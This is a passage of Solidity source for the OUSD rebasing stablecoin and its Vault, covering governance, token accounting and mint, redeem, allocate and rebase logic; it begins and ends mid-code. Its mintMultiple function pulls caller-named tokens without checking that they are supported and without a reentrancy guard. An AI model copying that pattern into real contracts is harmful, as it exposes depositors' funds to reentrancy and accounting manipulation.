amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } contract Governable { // Storage position of the owner and pendingOwner of the contract bytes32 private constant governorPosition = 0x7bea13895fa79d2831e0a9e28edede30099005a50d652d8957cf8a607ee6ca4a; //keccak256("OUSD.governor"); bytes32 private constant pendingGovernorPosition = 0x44c4d30b2eaad5130ad70c3ba6972730566f3e6359ab83e800d905c61b1c51db; //keccak256("OUSD.pending.governor"); event PendingGovernorshipTransfer( address indexed previousGovernor, address indexed newGovernor ); event GovernorshipTransferred( address indexed previousGovernor, address indexed newGovernor ); /** * @dev Initializes the contract setting the deployer as the initial Governor. */ constructor() internal { _setGovernor(msg.sender); emit GovernorshipTransferred(address(0), _governor()); } /** * @dev Returns the address of the current Governor. */ function governor() public view returns (address) { return _governor(); } function _governor() internal view returns (address governorOut) { bytes32 position = governorPosition; assembly { governorOut := sload(position) } } function _pendingGovernor() internal view returns (address pendingGovernor) { bytes32 position = pendingGovernorPosition; assembly { pendingGovernor := sload(position) } } /** * @dev Throws if called by any account other than the Governor. */ modifier onlyGovernor() { require(isGovernor(), "Caller is not the Governor"); _; } /** * @dev Returns true if the caller is the current Governor. */ function isGovernor() public view returns (bool) { return msg.sender == _governor(); } function _setGovernor(address newGovernor) internal { bytes32 position = governorPosition; assembly { sstore(position, newGovernor) } } function _setPendingGovernor(address newGovernor) internal { bytes32 position = pendingGovernorPosition; assembly { sstore(position, newGovernor) } } /** * @dev Transfers Governance of the contract to a new account (`newGovernor`). * Can only be called by the current Governor. Must be claimed for this to complete * @param _newGovernor Address of the new Governor */ function transferGovernance(address _newGovernor) external onlyGovernor { _setPendingGovernor(_newGovernor); emit PendingGovernorshipTransfer(_governor(), _newGovernor); } /** * @dev Claim Governance of the contract to a new account (`newGovernor`). * Can only be called by the new Governor. */ function claimGovernance() external { require( msg.sender == _pendingGovernor(), "Only the pending Governor can complete the claim" ); _changeGovernor(msg.sender); } /** * @dev Change Governance of the contract to a new account (`newGovernor`). * @param _newGovernor Address of the new Governor */ function _changeGovernor(address _newGovernor) internal { require(_newGovernor != address(0), "New Governor is address(0)"); emit GovernorshipTransferred(_governor(), _newGovernor); _setGovernor(_newGovernor); } } interface IBasicToken { function symbol() external view returns (string memory); function decimals() external view returns (uint8); } interface IMinMaxOracle { //Assuming 8 decimals function priceMin(string calldata symbol) external returns (uint256); function priceMax(string calldata symbol) external returns (uint256); } interface IViewMinMaxOracle { function priceMin(string calldata symbol) external view returns (uint256); function priceMax(string calldata symbol) external view returns (uint256); } interface IStrategy { /** * @dev Deposit the given asset to Lending platform. * @param _asset asset address * @param _amount Amount to deposit */ function deposit(address _asset, uint256 _amount) external returns (uint256 amountDeposited); /** * @dev Withdraw given asset from Lending platform */ function withdraw( address _recipient, address _asset, uint256 _amount ) external returns (uint256 amountWithdrawn); /** * @dev Returns the current balance of the given asset. */ function checkBalance(address _asset) external view returns (uint256 balance); /** * @dev Returns bool indicating whether strategy supports asset. */ function supportsAsset(address _asset) external view returns (bool); /** * @dev Liquidate all assets in strategy and return them to Vault. */ function liquidate() external; /** * @dev Get the APR for the Strategy. */ function getAPR() external view returns (uint256); /** * @dev Collect reward tokens from the Strategy. */ function collectRewardToken() external; } library Helpers { /** * @notice Fetch the `symbol()` from an ERC20 token * @dev Grabs the `symbol()` from a contract * @param _token Address of the ERC20 token * @return string Symbol of the ERC20 token */ function getSymbol(address _token) internal view returns (string memory) { string memory symbol = IBasicToken(_token).symbol(); return symbol; } /** * @notice Fetch the `decimals()` from an ERC20 token * @dev Grabs the `decimals()` from a contract and fails if * the decimal value does not live within a certain range * @param _token Address of the ERC20 token * @return uint256 Decimals of the ERC20 token */ function getDecimals(address _token) internal view returns (uint256) { uint256 decimals = IBasicToken(_token).decimals(); require( decimals >= 4 && decimals <= 18, "Token must have sufficient decimal places" ); return decimals; } } contract InitializableERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. * @notice To avoid variable shadowing appended `Arg` after arguments name. */ function _initialize( string memory nameArg, string memory symbolArg, uint8 decimalsArg ) internal { _name = nameArg; _symbol = symbolArg; _decimals = decimalsArg; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } } contract InitializableToken is ERC20, InitializableERC20Detailed { /** * @dev Initialization function for implementing contract * @notice To avoid variable shadowing appended `Arg` after arguments name. */ function _initialize(string memory _nameArg, string memory _symbolArg) internal { InitializableERC20Detailed._initialize(_nameArg, _symbolArg, 18); } } contract OUSD is Initializable, InitializableToken, Governable { using SafeMath for uint256; using StableMath for uint256; event TotalSupplyUpdated( uint256 totalSupply, uint256 totalCredits, uint256 creditsPerToken ); uint256 private constant MAX_SUPPLY = ~uint128(0); // (2^128) - 1 uint256 private _totalSupply; uint256 private totalCredits; // Exchange rate between internal credits and OUSD uint256 private creditsPerToken; mapping(address => uint256) private _creditBalances; // Allowances denominated in OUSD mapping(address => mapping(address => uint256)) private _allowances; address public vaultAddress = address(0); function initialize( string calldata _nameArg, string calldata _symbolArg, address _vaultAddress ) external onlyGovernor initializer { InitializableToken._initialize(_nameArg, _symbolArg); _totalSupply = 0; totalCredits = 0; creditsPerToken = 1e18; vaultAddress = _vaultAddress; } /** * @dev Verifies that the caller is the Savings Manager contract */ modifier onlyVault() { require(vaultAddress == msg.sender, "Caller is not the Vault"); _; } /** * @return The total supply of OUSD. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param _account The address to query the balance of. * @return A unit256 representing the _amount of base units owned by the * specified address. */ function balanceOf(address _account) public view returns (uint256) { if (creditsPerToken == 0) return 0; return _creditBalances[_account].divPrecisely(creditsPerToken); } /** * @dev Gets the credits balance of the specified address. * @param _account The address to query the balance of. * @return A uint256 representing the _amount of base units owned by the * specified address. */ function creditsBalanceOf(address _account) public view returns (uint256) { return _creditBalances[_account]; } /** * @dev Transfer tokens to a specified address. * @param _to the address to transfer to. * @param _value the _amount to be transferred. * @return true on success. */ function transfer(address _to, uint256 _value) public returns (bool) { uint256 creditValue = _removeCredits(msg.sender, _value); _creditBalances[_to] = _creditBalances[_to].add(creditValue); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another. * @param _from The address you want to send tokens from. * @param _to The address you want to transfer to. * @param _value The _amount of tokens to be transferred. */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { _allowances[_from][msg.sender] = _allowances[_from][msg.sender].sub( _value ); uint256 creditValue = _removeCredits(_from, _value); _creditBalances[_to] = _creditBalances[_to].add(creditValue); emit Transfer(_from, _to, _value); return true; } /** * @dev Function to check the _amount of tokens that an owner has allowed to a _spender. * @param _owner The address which owns the funds. * @param _spender The address which will spend the funds. * @return The number of tokens still available for the _spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return _allowances[_owner][_spender]; } /** * @dev Approve the passed address to spend the specified _amount of tokens on behalf of * msg.sender. This method is included for ERC20 compatibility. * increaseAllowance and decreaseAllowance should be used instead. * Changing an allowance with this method brings the risk that someone may transfer both * the old and the new allowance - if they are both greater than zero - if a transfer * transaction is mined before the later approve() call is mined. * * @param _spender The address which will spend the funds. * @param _value The _amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { _allowances[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Increase the _amount of tokens that an owner has allowed to a _spender. * This method should be used instead of approve() to avoid the double approval vulnerability * described above. * @param _spender The address which will spend the funds. * @param _addedValue The _amount of tokens to increase the allowance by. */ function increaseAllowance(address _spender, uint256 _addedValue) public returns (bool) { _allowances[msg.sender][_spender] = _allowances[msg.sender][_spender] .add(_addedValue); emit Approval(msg.sender, _spender, _allowances[msg.sender][_spender]); return true; } /** * @dev Decrease the _amount of tokens that an owner has allowed to a _spender. * @param _spender The address which will spend the funds. * @param _subtractedValue The _amount of tokens to decrease the allowance by. */ function decreaseAllowance(address _spender, uint256 _subtractedValue) public returns (bool) { uint256 oldValue = _allowances[msg.sender][_spender]; if (_subtractedValue >= oldValue) { _allowances[msg.sender][_spender] = 0; } else { _allowances[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, _allowances[msg.sender][_spender]); return true; } /** * @notice Mints new tokens, increasing totalSupply. */ function mint(address _account, uint256 _amount) external onlyVault { return _mint(_account, _amount); } /** * @dev Creates `_amount` tokens and assigns them to `_account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address _account, uint256 _amount) internal { require(_account != address(0), "Mint to the zero address"); _totalSupply = _totalSupply.add(_amount); uint256 creditAmount = _amount.mulTruncate(creditsPerToken); _creditBalances[_account] = _creditBalances[_account].add(creditAmount); totalCredits = totalCredits.add(creditAmount); emit Transfer(address(0), _account, _amount); } /** * @notice Burns tokens, decreasing totalSupply. */ function burn(address account, uint256 amount) external onlyVault { return _burn(account, amount); } /** * @dev Destroys `_amount` tokens from `_account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `_account` cannot be the zero address. * - `_account` must have at least `_amount` tokens. */ function _burn(address _account, uint256 _amount) internal { require(_account != address(0), "Burn from the zero address"); _totalSupply = _totalSupply.sub(_amount); uint256 creditAmount = _removeCredits(_account, _amount); totalCredits = totalCredits.sub(creditAmount); emit Transfer(_account, address(0), _amount); } /** * @dev Removes credits from a credit balance and burns rounding errors. * @param _account Account to remove credits from * @param _amount Amount in OUSD which will be converted to credits and * removed */ function _removeCredits(address _account, uint256 _amount) internal returns (uint256 creditAmount) { creditAmount = _amount.mulTruncate(creditsPerToken); uint256 currentCredits = _creditBalances[_account]; if ( currentCredits == creditAmount || currentCredits - 1 == creditAmount ) { _creditBalances[_account] = 0; } else if (currentCredits > creditAmount) { _creditBalances[_account] = currentCredits - creditAmount; } else { revert("Remove exceeds balance"); } } /** * @dev Modify the supply without minting new tokens. This uses a change in * the exchange rate between "credits" and OUSD tokens to change balances. * @param _newTotalSupply New total supply of OUSD. * @return uint256 representing the new total supply. */ function changeSupply(uint256 _newTotalSupply) external onlyVault returns (uint256) { require(_totalSupply > 0, "Cannot increase 0 supply"); if (_totalSupply == _newTotalSupply) { emit TotalSupplyUpdated( _totalSupply, totalCredits, creditsPerToken ); return _totalSupply; } _totalSupply = _newTotalSupply; if (_totalSupply > MAX_SUPPLY) _totalSupply = MAX_SUPPLY; creditsPerToken = totalCredits.divPrecisely(_totalSupply); emit TotalSupplyUpdated(_totalSupply, totalCredits, creditsPerToken); return _totalSupply; } } library StableMath { using SafeMath for uint256; /** * @dev Scaling unit for use in specific calculations, * where 1 * 10**18, or 1e18 represents a unit '1' */ uint256 private constant FULL_SCALE = 1e18; /*************************************** Helpers ****************************************/ /** * @dev Adjust the scale of an integer * @param adjustment Amount to adjust by e.g. scaleBy(1e18, -1) == 1e17 */ function scaleBy(uint256 x, int8 adjustment) internal pure returns (uint256) { if (adjustment > 0) { x = x.mul(10**uint256(adjustment)); } else if (adjustment < 0) { x = x.div(10**uint256(adjustment * -1)); } return x; } /*************************************** Precise Arithmetic ****************************************/ /** * @dev Multiplies two precise units, and then truncates by the full scale * @param x Left hand input to multiplication * @param y Right hand input to multiplication * @return Result after multiplying the two inputs and then dividing by the shared * scale unit */ function mulTruncate(uint256 x, uint256 y) internal pure returns (uint256) { return mulTruncateScale(x, y, FULL_SCALE); } /** * @dev Multiplies two precise units, and then truncates by the given scale. For example, * when calculating 90% of 10e18, (10e18 * 9e17) / 1e18 = (9e36) / 1e18 = 9e18 * @param x Left hand input to multiplication * @param y Right hand input to multiplication * @param scale Scale unit * @return Result after multiplying the two inputs and then dividing by the shared * scale unit */ function mulTruncateScale( uint256 x, uint256 y, uint256 scale ) internal pure returns (uint256) { // e.g. assume scale = fullScale // z = 10e18 * 9e17 = 9e36 uint256 z = x.mul(y); // return 9e38 / 1e18 = 9e18 return z.div(scale); } /** * @dev Multiplies two precise units, and then truncates by the full scale, rounding up the result * @param x Left hand input to multiplication * @param y Right hand input to multiplication * @return Result after multiplying the two inputs and then dividing by the shared * scale unit, rounded up to the closest base unit. */ function mulTruncateCeil(uint256 x, uint256 y) internal pure returns (uint256) { // e.g. 8e17 * 17268172638 = 138145381104e17 uint256 scaled = x.mul(y); // e.g. 138145381104e17 + 9.99...e17 = 138145381113.99...e17 uint256 ceil = scaled.add(FULL_SCALE.sub(1)); // e.g. 13814538111.399...e18 / 1e18 = 13814538111 return ceil.div(FULL_SCALE); } /** * @dev Precisely divides two units, by first scaling the left hand operand. Useful * for finding percentage weightings, i.e. 8e18/10e18 = 80% (or 8e17) * @param x Left hand input to division * @param y Right hand input to division * @return Result after multiplying the left operand by the scale, and * executing the division on the right hand input. */ function divPrecisely(uint256 x, uint256 y) internal pure returns (uint256) { // e.g. 8e18 * 1e18 = 8e36 uint256 z = x.mul(FULL_SCALE); // e.g. 8e36 / 10e18 = 8e17 return z.div(y); } } contract Vault is Initializable, Governable { using SafeMath for uint256; using StableMath for uint256; using SafeMath for int256; using SafeERC20 for IERC20; event AssetSupported(address _asset); event StrategyAdded(address _addr); event StrategyRemoved(address _addr); event Mint(address _addr, uint256 _value); event Redeem(address _addr, uint256 _value); event StrategyWeightsUpdated( address[] _strategyAddresses, uint256[] weights ); event DepositsPaused(); event DepositsUnpaused(); // Assets supported by the Vault, i.e. Stablecoins struct Asset { bool isSupported; } mapping(address => Asset) assets; address[] allAssets; // Strategies supported by the Vault struct Strategy { bool isSupported; uint256 targetWeight; // 18 decimals. 100% = 1e18 } mapping(address => Strategy) strategies; address[] allStrategies; // Address of the Oracle price provider contract address public priceProvider; // Pausing bools bool public rebasePaused = false; bool public depositPaused = true; // Redemption fee in basis points uint256 public redeemFeeBps; // Buffer of assets to keep in Vault to handle (most) withdrawals uint256 public vaultBuffer; // Mints over this amount automatically allocate funds. 18 decimals. uint256 public autoAllocateThreshold; // Mints over this amount automatically rebase. 18 decimals. uint256 public rebaseThreshold; OUSD oUSD; /** * @dev Verifies that the rebasing is not paused. */ modifier whenNotRebasePaused() { require(!rebasePaused, "Rebasing paused"); _; } /*************************************** Configuration ****************************************/ /** * @dev Set address of price provider. * @param _priceProvider Address of price provider */ function setPriceProvider(address _priceProvider) external onlyGovernor { priceProvider = _priceProvider; } /** * @dev Set a fee in basis points to be charged for a redeem. * @param _redeemFeeBps Basis point fee to be charged */ function setRedeemFeeBps(uint256 _redeemFeeBps) external onlyGovernor { redeemFeeBps = _redeemFeeBps; } /** * @dev Set a buffer of assets to keep in the Vault to handle most * redemptions without needing to spend gas unwinding assets from a Strategy. * @param _vaultBuffer Percentage using 18 decimals. 100% = 1e18. */ function setVaultBuffer(uint256 _vaultBuffer) external onlyGovernor { vaultBuffer = _vaultBuffer; } /** * @dev Sets the minimum amount of OUSD in a mint to trigger an * automatic allocation of funds afterwords. * @param _threshold OUSD amount with 18 fixed decimals. */ function setAutoAllocateThreshold(uint256 _threshold) external onlyGovernor { autoAllocateThreshold = _threshold; } /** * @dev Set a minimum amount of OUSD in a mint or redeem that triggers a * rebase * @param _threshold OUSD amount with 18 fixed decimals. */ function setRebaseThreshold(uint256 _threshold) external onlyGovernor { rebaseThreshold = _threshold; } /** @dev Add a supported asset to the contract, i.e. one that can be * to mint OUSD. * @param _asset Address of asset */ function supportAsset(address _asset) external onlyGovernor { require(!assets[_asset].isSupported, "Asset already supported"); assets[_asset] = Asset({ isSupported: true }); allAssets.push(_asset); emit AssetSupported(_asset); } /** * @dev Add a strategy to the Vault. * @param _addr Address of the strategy to add * @param _targetWeight Target percentage of asset allocation to strategy */ function addStrategy(address _addr, uint256 _targetWeight) external onlyGovernor { require(!strategies[_addr].isSupported, "Strategy already added"); strategies[_addr] = Strategy({ isSupported: true, targetWeight: _targetWeight }); allStrategies.push(_addr); emit StrategyAdded(_addr); } /** * @dev Remove a strategy from the Vault. Removes all invested assets and * returns them to the Vault. * @param _addr Address of the strategy to remove */ function removeStrategy(address _addr) external onlyGovernor { require(strategies[_addr].isSupported, "Strategy not added"); // Initialize strategyIndex with out of bounds result so function will // revert if no valid index found uint256 strategyIndex = allStrategies.length; for (uint256 i = 0; i < allStrategies.length; i++) { if (allStrategies[i] == _addr) { strategyIndex = i; break; } } assert(strategyIndex < allStrategies.length); allStrategies[strategyIndex] = allStrategies[allStrategies.length - 1]; allStrategies.length--; // Liquidate all assets IStrategy strategy = IStrategy(_addr); strategy.liquidate(); emit StrategyRemoved(_addr); } /** * @notice Set the weights for multiple strategies. * @param _strategyAddresses Array of strategy addresses * @param _weights Array of corresponding weights, with 18 decimals. * For ex. 100%=1e18, 30%=3e17. */ function setStrategyWeights( address[] calldata _strategyAddresses, uint256[] calldata _weights ) external onlyGovernor { require( _strategyAddresses.length == _weights.length, "Parameter length mismatch" ); for (uint256 i = 0; i < _strategyAddresses.length; i++) { strategies[_strategyAddresses[i]].targetWeight = _weights[i]; } emit StrategyWeightsUpdated(_strategyAddresses, _weights); } /*************************************** Core ****************************************/ /** * @dev Deposit a supported asset and mint OUSD. * @param _asset Address of the asset being deposited * @param _amount Amount of the asset being deposited */ function mint(address _asset, uint256 _amount) external { require(!depositPaused, "Deposits are paused"); require(assets[_asset].isSupported, "Asset is not supported"); require(_amount > 0, "Amount must be greater than 0"); uint256[] memory assetPrices; // For now we have to live with the +1 oracle call because we need to // know the priceAdjustedDeposit before we decide wether or not to grab // assets. This will not effect small non-rebase/allocate mints uint256 priceAdjustedDeposit = _amount.mulTruncateScale( IMinMaxOracle(priceProvider) .priceMin(Helpers.getSymbol(_asset)) .scaleBy(int8(10)), // 18-8 because oracles have 8 decimals precision 10**Helpers.getDecimals(_asset) ); if ( (priceAdjustedDeposit > rebaseThreshold && !rebasePaused) || (priceAdjustedDeposit >= autoAllocateThreshold) ) { assetPrices = _getAssetPrices(false); } // Rebase must happen before any transfers occur. if (priceAdjustedDeposit > rebaseThreshold && !rebasePaused) { rebase(assetPrices); } // Transfer the deposited coins to the vault IERC20 asset = IERC20(_asset); asset.safeTransferFrom(msg.sender, address(this), _amount); // Mint matching OUSD oUSD.mint(msg.sender, priceAdjustedDeposit); emit Mint(msg.sender, priceAdjustedDeposit); if (priceAdjustedDeposit >= autoAllocateThreshold) { allocate(assetPrices); } } /** * @dev Mint for multiple assets in the same call. * @param _assets Addresses of assets being deposited * @param _amounts Amount of each asset at the same index in the _assets * to deposit. */ function mintMultiple( address[] calldata _assets, uint256[] calldata _amounts ) external { require(_assets.length == _amounts.length, "Parameter length mismatch"); uint256 priceAdjustedTotal = 0; uint256[] memory assetPrices = _getAssetPrices(false); for (uint256 i = 0; i < allAssets.length; i++) { for (uint256 j = 0; j < _assets.length; j++) { if (_assets[j] == allAssets[i]) { if (_amounts[j] > 0) { uint256 assetDecimals = Helpers.getDecimals( allAssets[i] ); priceAdjustedTotal += _amounts[j].mulTruncateScale( assetPrices[i], 10**assetDecimals ); } } } } // Rebase must happen before any transfers occur. if (priceAdjustedTotal > rebaseThreshold && !rebasePaused) { rebase(assetPrices); } for (uint256 i = 0; i < _assets.length; i++) { IERC20 asset = IERC20(_assets[i]); asset.safeTransferFrom(msg.sender, address(this), _amounts[i]); } oUSD.mint(msg.sender, priceAdjustedTotal); emit Mint(msg.sender, priceAdjustedTotal); if (priceAdjustedTotal >= autoAllocateThreshold) { allocate(assetPrices); } } /** * @dev Withdraw a supported asset and burn OUSD. * @param _amount Amount of OUSD to burn */ function redeem(uint256 _amount) public { uint256[] memory assetPrices = _getAssetPrices(false); if (_amount > rebaseThreshold && !rebasePaused) { rebase(assetPrices); } _redeem(_amount, assetPrices); } function _redeem(uint256 _amount, uint256[] memory assetPrices) internal { require(_amount > 0, "Amount must be greater than 0"); uint256 feeAdjustedAmount; if (redeemFeeBps > 0) { uint256 redeemFee = _amount.mul(redeemFeeBps).div(10000); feeAdjustedAmount = _amount.sub(redeemFee); } else { feeAdjustedAmount = _amount; } // Calculate redemption outputs uint256[] memory outputs = _calculateRedeemOutputs(feeAdjustedAmount); // Send outputs for (uint256 i = 0; i < allAssets.length; i++) { if (outputs[i] == 0) continue; IERC20 asset = IERC20(allAssets[i]); if (asset.balanceOf(address(this)) >= outputs[i]) { // Use Vault funds first if sufficient asset.safeTransfer(msg.sender, outputs[i]); } else { address strategyAddr = _selectWithdrawStrategyAddr( allAssets[i], outputs[i], assetPrices ); if (strategyAddr != address(0)) { // Nothing in Vault, but something in Strategy, send from there IStrategy strategy = IStrategy(strategyAddr); strategy.withdraw(msg.sender, allAssets[i], outputs[i]); } else { // Cant find funds anywhere revert("Liquidity error"); } } } oUSD.burn(msg.sender, _amount); // Until we can prove that we won't affect the prices of our assets // by withdrawing them, this should be here. // It's possible that a strategy was off on its asset total, perhaps // a reward token sold for more or for less than anticipated. if (_amount > rebaseThreshold && !rebasePaused) { rebase(assetPrices); } emit Redeem(msg.sender, _amount); } /** * @notice Withdraw a supported asset and burn all OUSD. */ function redeemAll() external { uint256[] memory assetPrices = _getAssetPrices(false); //unfortunately we have to do balanceOf twice if (oUSD.balanceOf(msg.sender) > rebaseThreshold && !rebasePaused) { rebase(assetPrices); } _redeem(oUSD.balanceOf(msg.sender), assetPrices); } /** * @notice Allocate unallocated funds on Vault to strategies. * @dev Allocate unallocated funds on Vault to strategies. **/ function allocate() public { uint256[] memory assetPrices = _getAssetPrices(false); allocate(assetPrices); } /** * @notice Allocate unallocated funds on Vault to strategies. * @dev Allocate unallocated funds on Vault to strategies. **/ function allocate(uint256[] memory assetPrices) internal { uint256 vaultValue = _totalValueInVault(assetPrices); // Nothing in vault to allocate if (vaultValue == 0) return; uint256 strategiesValue = _totalValueInStrategies(assetPrices); // We have a method that does the same as this, gas optimisation uint256 totalValue = vaultValue + strategiesValue; // We want to maintain a buffer on the Vault so calculate a percentage // modifier to multiply each amount being allocated by to enforce the // vault buffer uint256 vaultBufferModifier; if (strategiesValue == 0) { // Nothing in Strategies, allocate 100% minus the vault buffer to // strategies vaultBufferModifier = 1e18 - vaultBuffer; } else { vaultBufferModifier = vaultBuffer.mul(totalValue).div(vaultValue); if (1e18 > vaultBufferModifier) { // E.g. 1e18 - (1e17 * 10e18)/5e18 = 8e17 // (5e18 * 8e17) / 1e18 = 4e18 allocated from Vault vaultBufferModifier = 1e18 - vaultBufferModifier; } else { // We need to let the buffer fill return; } } if (vaultBufferModifier == 0) return; // Iterate over all assets in the Vault and allocate the the appropriate // strategy for (uint256 i = 0; i < allAssets.length; i++) { IERC20 asset = IERC20(allAssets[i]); uint256 assetBalance = asset.balanceOf(address(this)); // No balance, nothing to do here if (assetBalance == 0) continue; // Multiply the balance by the vault buffer modifier and truncate // to the scale of the asset decimals uint256 allocateAmount = assetBalance.mulTruncate( vaultBufferModifier ); // Get the target Strategy to maintain weightings address depositStrategyAddr = _selectDepositStrategyAddr( address(asset), assetPrices ); if (depositStrategyAddr != address(0) && allocateAmount > 0) { IStrategy strategy = IStrategy(depositStrategyAddr); // Transfer asset to Strategy and call deposit method to // mint or take required action asset.safeTransfer(address(strategy), allocateAmount); strategy.deposit(address(asset), allocateAmount); } } } /** * @dev Calculate the total value of assets held by the Vault and all * strategies and update the supply of oUSD */ function rebase() public whenNotRebasePaused returns (uint256) { uint256[] memory assetPrices = _getAssetPrices(false); rebase(assetPrices); } /** * @dev Calculate the total value of assets held by the Vault and all * strategies and update the supply of oUSD */ function rebase(uint256[] memory assetPrices) internal whenNotRebasePaused returns (uint256) { if (oUSD.totalSupply() == 0) return 0; return oUSD.changeSupply(_totalValue(assetPrices)); } /** * @dev Determine the total value of assets held by the vault and its * strategies. * @return uint256 value Total value in USD (1e18) */ function totalValue() external returns (uint256 value) { uint256[] memory assetPrices = _getAssetPrices(false); value = _totalValue(assetPrices); } /** * @dev Internal Calculate the total value of the assets held by the * vault and its strategies. * @return uint256 value Total value in USD (1e18) */ function _totalValue(uint256[] memory assetPrices) internal view returns (uint256 value) { return _totalValueInVault(assetPrices) + _totalValueInStrategies(assetPrices); } /** * @dev Internal to calculate total value of all assets held in Vault. * @return uint256 Total value in ETH (1e18) */ function _totalValueInVault(uint256[] memory assetPrices) internal view returns (uint256 value) { value = 0; for (uint256 y = 0; y < allAssets.length; y++) { IERC20 asset = IERC20(allAssets[y]); uint256 assetDecimals = Helpers.getDecimals(allAssets[y]); uint256 balance = asset.balanceOf(address(this)); if (balance > 0) { value += balance.mulTruncateScale( assetPrices[y], 10**assetDecimals ); } } } /** * @dev Internal to calculate total value of all assets held in Strategies. * @return uint256 Total value in ETH (1e18) */ function _totalValueInStrategies(uint256[] memory assetPrices) internal view returns (uint256 value) { value = 0; for (uint256 i = 0; i < allStrategies.length; i++) { value += _totalValueInStrategy(allStrategies[i], assetPrices); } } /** * @dev Internal to calculate total value of all assets held by strategy. * @param _strategyAddr Address of the strategy * @return uint256 Total value in ETH (1e18) */ function _totalValueInStrategy( address _strategyAddr, uint256[] memory assetPrices ) internal view returns (uint256 value) { value = 0; IStrategy strategy = IStrategy(_strategyAddr); for (uint256 y = 0; y < allAssets.length; y++) { uint256 assetDecimals = Helpers.getDecimals(allAssets[y]); if (strategy.supportsAsset(allAssets[y])) { uint256 balance = strategy.checkBalance(allAssets[y]); if (balance > 0) { value += balance.mulTruncateScale( assetPrices[y], 10**assetDecimals ); } } } } /** * @dev Calculate difference in percent of asset allocation for a strategy. * @param _strategyAddr Address of the strategy * @return int256 Difference between current and target. 18 decimals. For ex. 10%=1e17. */ function _strategyWeightDifference( address _strategyAddr, uint256[] memory assetPrices ) internal view returns (int256 difference) { difference = int256(strategies[_strategyAddr].targetWeight) - int256( _totalValueInStrategy(_strategyAddr, assetPrices).divPrecisely( _totalValue(assetPrices) ) ); } /** * @dev Select a strategy for allocating an asset to. * @param _asset Address of asset * @return address Address of the target strategy */ function _selectDepositStrategyAddr( address _asset, uint256[] memory assetPrices ) internal view returns (address depositStrategyAddr) { depositStrategyAddr = address(0); int256 maxDifference = 0; for (uint256 i = 0; i < allStrategies.length; i++) { IStrategy strategy = IStrategy(allStrategies[i]); if (strategy.supportsAsset(_asset)) { int256 diff = _strategyWeightDifference( allStrategies[i], assetPrices ); if (diff >= maxDifference) { maxDifference = diff; depositStrategyAddr = allStrategies[i]; } } } } /** * @dev Select a strategy for withdrawing an asset from. * @param _asset Address of asset * @return address Address of the target strategy for withdrawal */ function _selectWithdrawStrategyAddr( address _asset, uint256 _amount, uint256[] memory assetPrices ) internal view returns (address withdrawStrategyAddr) { withdrawStrategyAddr = address(0); int256 minDifference = 1e18; for (uint256 i = 0; i < allStrategies.length; i++) { IStrategy strategy = IStrategy(allStrategies[i]); if ( strategy.supportsAsset(_asset) && strategy.checkBalance(_asset) > _amount ) { int256 diff = _strategyWeightDifference( allStrategies[i], assetPrices ); if (diff <= minDifference) { minDifference = diff; withdrawStrategyAddr = allStrategies[i]; } } } } /** * @notice Get the balance of an asset held in Vault and all strategies. * @param _asset Address of asset * @return uint256 Balance of asset in decimals of asset */ function checkBalance(address _asset) external view returns (uint256) { return _checkBalance(_asset); } /** * @notice Get the balance of an asset held in Vault and all strategies. * @param _asset Address of asset * @return uint256 Balance of asset in decimals of asset */ function _checkBalance(address _asset) internal view returns (uint256 balance) { IERC20 asset = IERC20(_asset); balance = asset.balanceOf(address(this)); for (uint256 i = 0; i < allStrategies.length; i++) { IStrategy strategy = IStrategy(allStrategies[i]); if (strategy.supportsAsset(_asset)) { balance += strategy.checkBalance(_asset); } } } /** * @notice Get the balance of all assets held in Vault and all strategies. * @return uint256 Balance of all assets (1e18) */ function _checkBalance() internal view returns (uint256 balance) { balance = 0; for (uint256 i = 0; i < allAssets.length; i++) { uint256 assetDecimals = Helpers.getDecimals(allAssets[i]); balance += _checkBalance(allAssets[i]).scaleBy( int8(18 - assetDecimals) ); } } /** * @notice Calculate the outputs for a redeem function, i.e. the mix of * coins that will be returned */ function calculateRedeemOutputs(uint256 _amount) external returns (uint256[] memory) { return _calculateRedeemOutputs(_amount); } /** * @notice Calculate the outputs for a redeem function, i.e. the mix of * coins that will be returned. * @return Array of amounts respective to the supported assets */ function _calculateRedeemOutputs(uint256 _amount) internal returns (uint256[] memory outputs) { uint256[] memory assetPrices = _getAssetPrices(true); uint256 totalBalance = _checkBalance(); uint256 totalOutputValue = 